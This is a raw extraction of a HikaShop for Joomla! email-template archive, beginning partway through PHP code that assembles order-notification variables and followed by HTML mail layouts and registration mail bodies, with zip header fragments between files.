'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_ORDER'),
'HI_CUSTOMER' => JText::sprintf('HI_CUSTOMER',
$customer_name),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status),
'ORDER_BEGIN_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER_BEGIN', HIKASHOP_LIVE),
'ORDER_END_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER', HIKASHOP_LIVE) .
'<br/>' .
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name),
);
$templates = array();
$cartProducts = array();
$cartFooters = array();
{
$group = $config->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group){
$display_item_price=false;
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price>0){
$display_item_price = true;
}
}
if($display_item_price){
if($config->get('price_with_tax')){
$t .= '
'.$currencyHelper->format($item->order_product_price +
$item->order_product_tax,$data->order->order_currency_id);
}else{
$t .= '
'.$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
}
}
}
$t .= '</p>';
if(!empty($itemFields)){
foreach($itemFields as $field){
$namekey = $field->field_namekey;
if(empty($item->$namekey) && !strlen($item->$namekey))
continue;
$t .=
'<p>'.$fieldsClass->getFieldName($field).':
'.$fieldsClass->show($field,$item->$namekey,'user_email').'</p>';
}
}
if($group){
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price>0){
if($config->get('price_with_tax')){
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price+$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
}else{
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$config->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status,$statusDownload)){
$t .= '<p>';
foreach($item->files as $file){
$fileName = empty($file->file_name) ? $file->file_path :
$file->file_name;
$file_pos = empty($file->file_pos) ? '' :
('&file_pos=' . $file->file_pos);
$t .= '<a
href="'.hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=download&file_id='.$file->file_id.'&order_id='.$data->order_id.$file_pos.$url_itemid).'">'.$fileName.'</a><br/>';
}
$t .= '</p>';
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($config->get('price_with_tax')){
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
}else{
$unit_price =
$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)){
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order_discount_price*-1,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format(($data->order_discount_price-@$data->order_discount_tax)*-1,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)){
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order->order_shipping_price,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format($data->order->order_shipping_price-@$data->order->order_shipping_tax,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)){
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' =>
$currencyHelper->format($data->order->order_payment_price,$data->order->order_currency_id)
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($config->get('price_with_tax')){
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
}else{
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
}
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
{
if($config->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)){
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
}else{
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id)) {
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}else{
$shippingClass = hikashop_get('class.shipping');
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
unset($shippingClass);
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
$shippingClass = hikashop_get('class.shipping');
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
}else{
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($config->get('price_with_tax')){
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
}else{
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
}
$shippings_data[] = $shipping_data;
}
unset($shippingClass);
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2)) {
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(empty($data->order->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
$data->order->$fieldName,'user_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$params = null;
$js = '';
$fieldsClass = hikashop_get('class.field');
$template =
trim(hikashop_getLayout($view,'address_template',$params,$js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)){
$billing = $template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->billing_address->$fieldname,'user_email'),$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->order_shipping_id) &&
!empty($data->cart->shipping_address)){
$shipping = $template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->shipping_address->$fieldname))
$shipping=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->shipping_address->$fieldname,'user_email'),$shipping);
}
$vars['SHIPPING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$shipping));
} else {
$vars['SHIPPING_ADDRESS'] = $vars['BILLING_ADDRESS'];
}
PK�[�Bvmm
payment_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class payment_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadNotification((int)$data,
'payment_notification');
return $order->mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKASHOP_ORDER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.hikashop.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[�72�|
|
template/admin.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikashop_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikashop_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikashop_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
{VAR:TPL_CSS}
</style>
<div id="hikashop_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;text-align:center;"
border="0" cellspacing="0" cellpadding="0"
width="600">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="text-align:left;"
width="600">
{VAR:TPL_CONTENT}
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[!2S���$template/admin_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikashop_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikashop_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikashop_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
{VAR:TPL_CSS}
</style>
<div id="hikashop_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;text-align:center;"
border="0" cellspacing="0" cellpadding="0"
width="600">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" width="600">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560" style="color:#575757"
width="560" height="25"></td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;text-align:left;padding:6px;">
{VAR:TPL_CONTENT}
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[*��,��template/default.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikashop_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikashop_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikashop_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
{VAR:TPL_CSS}
</style>
<div id="hikashop_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<!--{IF:TPL_HEADER}-->
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<!--{IF:TPL_HEADER_URL}-->
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:TPL_HEADER_URL}">
<!--{ENDIF:TPL_HEADER_URL}-->
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:TPL_HEADER_TEXT}
</span>
<!--{IF:TPL_HEADER_URL}-->
</a>
<!--{ENDIF:TPL_HEADER_URL}-->
</div>
<!--{ENDIF:TPL_HEADER}-->
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;text-align:center;"
border="0" cellspacing="0" cellpadding="0"
width="600">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="text-align:left;"
width="600">
{VAR:TPL_CONTENT}
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
<!--{IF:TPL_FOOTER}-->
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<!--{IF:TPL_FOOTER_URL}-->
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:TPL_FOOTER_URL}">
<!--{ENDIF:TPL_FOOTER_URL}-->
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:TPL_FOOTER_TEXT}
</span>
<!--{IF:TPL_FOOTER_URL}-->
</a>
<!--{ENDIF:TPL_FOOTER_URL}-->
</div>
<!--{ENDIF:TPL_FOOTER}-->
</div>
PK�[wtW�template/index.htmlnu�[���<html><body></body></html>PK�[���D��#template/user_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikashop_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikashop_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikashop_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
{VAR:TPL_CSS}
</style>
<div id="hikashop_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<!--{IF:TPL_HEADER}-->
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<!--{IF:TPL_HEADER_URL}-->
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:TPL_HEADER_URL}">
<!--{ENDIF:TPL_HEADER_URL}-->
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:TPL_HEADER_TEXT}
</span>
<!--{IF:TPL_HEADER_URL}-->
</a>
<!--{ENDIF:TPL_HEADER_URL}-->
</div>
<!--{ENDIF:TPL_HEADER}-->
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;text-align:center;"
border="0" cellspacing="0" cellpadding="0"
width="600">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" width="600">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560" style="color:#575757"
width="560" height="25"></td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;text-align:left;padding:6px;">
{VAR:TPL_CONTENT}
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
<!--{IF:TPL_FOOTER}-->
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<!--{IF:TPL_FOOTER_URL}-->
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:TPL_FOOTER_URL}">
<!--{ENDIF:TPL_FOOTER_URL}-->
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:TPL_FOOTER_TEXT}
</span>
<!--{IF:TPL_FOOTER_URL}-->
</a>
<!--{ENDIF:TPL_FOOTER_URL}-->
</div>
<!--{ENDIF:TPL_FOOTER}-->
</div>
PK�[@t�F&&unfinished_order.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->name);?>
<br/>
<?php echo
JText::sprintf('THANK_YOU_FOR_REGISTERING',HIKASHOP_LIVE);?><br/>
<?php if($data->active){
echo JText::sprintf('ACCOUNT_MUST_BE_ACTIVATED'); ?>
<br/><br/>
<a href="<?php echo
$data->activation_url;?>"><?php echo
$data->activation_url;?></a>
<?php } ?>
<br/><br/>
<?php echo
JText::sprintf('YOU_CAN_LOG_IN_WITH');?><br/>
<?php echo JText::sprintf('HIKA_USERNAME').' :
'.$data->username;?><br/>
<?php echo JText::sprintf('HIKA_PASSWORD').' :
'.$data->password;?><br/>
<br/>
<?php if(!empty($data->user_partner_activated)){
echo
JText::sprintf('THANK_YOU_FOR_BECOMING_OUR_PARTNER',$data->id,$data->partner_url);
}?>
<br/>
<?php echo
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name);?>
PK�[��w���unfinished_order.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->name);?>
<?php echo
JText::sprintf('THANK_YOU_FOR_REGISTERING',HIKASHOP_LIVE);?>
<?php if($data->active){
echo JText::sprintf('ACCOUNT_MUST_BE_ACTIVATED'); ?>
<?php echo $data->activation_url;
}?>
<?php echo JText::sprintf('YOU_CAN_LOG_IN_WITH');?>
<?php echo JText::sprintf('HIKA_USERNAME').' :
'.$data->username;?>
<?php echo JText::sprintf('HIKA_PASSWORD').' :
'.$data->password;?>
<?php if(!empty($data->user_partner_activated)){
echo
JText::sprintf('THANK_YOU_FOR_BECOMING_OUR_PARTNER',$data->id,$data->partner_url);
}?>
<?php echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
